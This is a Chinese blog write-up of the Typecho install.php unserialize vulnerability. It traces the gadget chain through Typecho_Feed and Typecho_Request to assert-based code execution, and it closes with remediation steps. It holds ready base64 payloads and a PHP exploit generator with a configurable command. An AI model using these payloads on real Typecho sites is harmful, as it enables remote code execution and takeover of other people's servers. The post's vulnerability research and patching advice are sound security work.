Typecho install.php存在的反序列化漏洞分析(含EXP)
作者:admin | 时间:2017-12-6 22:02:13 | 分类:黑客技术 隐藏侧边栏展开侧边栏
0×00 前言
很久没有在安全方面折腾,突然收到“爸爸云”的短信,“您的服务器xxx.xxx.xxx.xxx存在网站后门,为防止黑客进一步入侵,请登录进行查看和处理”。当时正在出差,手头没电脑,草草看了一眼没来得及处理,最近得空研究了研究。常在河边走,哪有不湿鞋,网上已经有该漏洞的详解,仅以此文记录对反序列化漏洞研究的一个学习过程。
0×01 漏洞复现
使用工具:
1、Firefox浏览器+HackBar插件
2、Payload
// 下面这段Payload是执行 phpinfo();
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
使用条件:
1、$_GET['finish'] 参数不为空
2、Referer 必须是本站
注:Payload可以通过插入Cookie提交,也可以通过POST提交。
复现:
0×02 漏洞探索
一开始收到短信,我还以为是评论区造成的。先登陆阿里云后台看看是什么问题。
本以为只是无伤大雅的小洞,看了之后一惊,Webshell,吓得我赶紧登陆服务器,虽然服务器上没什么值得窃取的。
一句话木马,expsky应该是一个昵称,百度一下。
果然是个昵称,混迹于FreeBuf,最近一篇文章就是关于Typecho反序列化漏洞相关的。本以为是他把我怼了,看了文章之后才发现原来只是漏洞利用检测工具的作者。
在此感谢expsky
从文章中,得知漏洞存在于install.php文件,附上了漏洞检测工具,不过并没有报告漏洞细节。
0×03 漏洞细节
得知漏洞所在文件,接下来就研究研究。
漏洞存在与229-235行。
<?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db); ?>
程序要运行到此处需要满足两个条件
1、$_GET['finish'] 参数不为空
2、Referer 必须是本站
这段代码第一行先调用了Typecho_Cookie::get()方法获取$GET['\_typecho_config'],跳转进去可以看一下
可以看到,如果cookie里不存在‘__typecho_config’字段,则从$_POST里查找。
所以在利用的时候,可以直接使用POST提交‘__typecho_config’
接着往下看
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
获取到值之后,先base64解码,然后再用unserialize反序列化,赋值给$config。
看到这,那我们input的内容就是要构造一个‘__typecho_config’,来output我们想要的东西。
继续往下寻找可利用的output的地方。
在反序列化之后,取出$config['adapter']和$config['prefix']实例化了一个Typecho_Db
$db = new Typecho_Db($config['adapter'], $config['prefix']);
继续跟进Typecho_Db
构造函数在Db.php的114行
public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName();
}
第120行
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
此处对传入的$adapterName进行了字符串拼接。
如果传入的$adapterName,是一个类,那么在将这个类进行字符串拼接的时候就会触发这个类的__toString()方法
注:这里涉及PHP的魔术方法,简单说一下,魔术方法就是在某些情况下会自动去调用的方法,比如很多面向对象编程语言都存在的构造函数、析构函数等等,都可以理解为魔术方法。
相关方法以及触发条件推荐两个参考链接
其实下面这张图已经非常简单明了
注:图片摘自 [Typecho install.php 后门分析 |王松_Striker - Web安全与前端]
那我们就来全局搜索一下,看看那些类使用了__toString()方法,可以让我们进行利用。
其中有三个类有使用__toString()方法
var/Typecho/Config.php
var/Typecho/Feed.php
var/Typecho/Db/Query.php
其中Config.php里没什么好利用的,我们再看一下Feed.php和Query.php
在Query.php中存在可以触发_call()的魔术方法,全局搜索跟进_call()魔术方法之后没有可利用的点,我们直接查看Feed.php
Feed.php,在290行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
这里访问了$item['author']->screenName
我们回顾一下上面说的魔术方法,其中__get()这个方法在读取不可访问的数据时触发
而$item由foreach ($this->_items as $item)得来,如果我们给$item['author']设置一个不可访问的属性,那就会触发该类的__get()方法。
到这里,我们缕一缕思路再继续
1、从Cookie或者POST的数据中寻找到‘__typecho_config’字段
2、然后调用‘__typecho_config’中的‘adapter’和’prefix’实例化一个Typecho_Db类
3、在实例化过程中,采用了字符串拼接访问了‘adapter’,当我们设置的‘adapter’字段是一个类的话,就会触发这个类的__toString()魔术方法
4、寻找到Feed这个类中的__toString() 魔术方法,访问了$item['author']->screenName
5、当$item['author']->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法
好的,至此我们还没有寻找的可利用的output点,我们继续全局搜索一下可利用的 ‘__get()’ 方法
在文件Request.php 267行
public function __get($key) { return $this->get($key);
}
跟进get() 293行
public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]):
$value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key]; break; default:
$value = $default; break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value);
}
这一段的判断条件,都可以控制$value的值
没有问题,$value的值依然在可控范围
继续跟进_applyFilter()
private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
} return $value;
}
在163-164行,使用了array_map()和call_user_func()
我们查一下这两个函数分别是什么意思
这下就好玩了,这两个函数都是代码执行相关的函数,也就是我们想要的output了
刚刚缕了缕思路,我们再来回顾一边
1、从Cookie或者POST的数据中寻找到‘__typecho_config’字段
2、然后调用‘__typecho_config’中的‘adapter’和’prefix’实例化一个Typecho_Db类
3、在实例化过程中,采用了字符串拼接访问了‘adapter’,当我们设置的‘adapter’字段是一个类的话,就会触发这个类的__toString()魔术方法
4、寻找到Feed这个类中的__toString() 魔术方法,访问了$item['author']->screenName
5、当$item['author']->screenName为一个不可访问的属性时,将会触发该类的__get()魔术方法
6、Typecho_Request类的魔术方法中,调用了get(),该方法内,检测了_params[$key]是否存在
7、将_params[$key]的值传入_applyFilter()方法,并执行代码
OK.知道条件之后我们就来构造我们的Payload
首先看看我们实际提交的结构
( // 实例化一个Typecho_Db, 数组必须包含 'adapter'和'prefix'两个键值 /**
* 实例化Typecho_Db时构造函数中进行字符串拼接,
* 如果值为对象,则触发该对象的 __toString()魔术方法
*/ [adapter] => Typecho_Feed Object
( /**
* 在Feed的__toString()魔术方法中,
* 290行和358行,访问了$item['author']->screenName
* 程序要运行到此处$this->_type必须为 "RSS 2.0"或者"ATOM 1.0"
*/ [_type:Typecho_Feed:private] => RSS 2.0 /**
* 当从不可访问的属性中读取,将会触发该类的__get()魔术方法
*/ [_items:Typecho_Feed:private] => Array (
[0] => Array ( /**
* 'category' 用于分支处理,如果不用于回显数据,此字段可以省略
* 此处需要构造非空数组,且成员值为对象
*/ [category] => Array (
[0] => Test Object
(
)
) /**
* 此处构造满足触发Typecho_Request对象的__get()魔术方法
*/ [author] => Typecho_Request Object
( // 必须包含两个键值 '_params'和'_filter' /**
* @ 此处为触发的关键部分
* 1、由Feed类中访问screName触发Request的__get(),
* 在Request.php的290行传入$key='screenName'
* 2、此时get()函数内 $value='phpinfo()' // 296-297行
* 3、继续判断了 $value值非数组,且长度大于0 // 307行
* 4、将 $value 传入 _applyFilter()
* 5、判断 $this->_filter // 161行
* 6、遍历 $this->_filter // 162行
* 7、$value非数组,执行call_user_func($filter, $value)
* 8、最终执行结果为call_user_func(assert, phpinfo())
*/ [_params:Typecho_Request:private] => Array (
[screenName] => phpinfo()
)
[_filter:Typecho_Request:private] => Array (
[0] => assert
)
)
)
)
) // 分支处理 [prefix] => typecho_
)
上面部分可能注释太多,看起来比较乱,我贴一个没有注释的
(
[adapter] => Typecho_Feed Object
(
[_type:Typecho_Feed:private] => RSS 2.0 [_items:Typecho_Feed:private] => Array (
[0] => Array (
[category] => Array (
[0] => Test Object
(
)
)
[author] => Typecho_Request Object
(
[_params:Typecho_Request:private] => Array (
[screenName] => phpinfo()
)
[_filter:Typecho_Request:private] => Array (
[0] => assert
)
)
)
)
)
[prefix] => typecho_
)
构造完成,序列化后使用base64加密,得到Payload
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
使用方法看文首 0×01 部分
0×05 编写EXP
<?php $CMD = 'phpinfo()'; class Typecho_Feed { const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; private $_type; private $_items; public function __construct() { //$this->_type = $this::RSS2; $this->_type = $this::ATOM1;
$this->_items[0] = array( 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(),
);
}
} class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?>
感谢 王松_Striker 和 p0
附上参考链接
Typecho install.php 反序列化导致任意代码执行
0×06 修复方案
删掉根目录下的install.php和install/目录
升级更新至最新版
*本文作者:王三三